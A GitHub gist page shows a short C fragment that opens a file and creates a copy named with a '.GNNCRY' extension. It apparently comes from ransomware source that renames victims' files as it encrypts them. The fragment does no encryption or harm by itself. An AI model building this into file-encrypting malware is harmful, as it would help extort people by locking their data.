Created
December 13, 2017 17:43
-
-
Save tarcisio-marinho/c05f234f98deb47f52271d35923077e3 to your computer and use it in GitHub Desktop.
open file
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
old = fopen(files->info[2], "rb"); | |
if(old != NULL){ | |
new_name = (char*) malloc(sizeof(char) * (strlen(files->info[2]) + 11)); | |
strcpy(new_name, files->info[2]); | |
strcat(new_name, ".GNNCRY"); | |
new = fopen(new_name, "wb"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment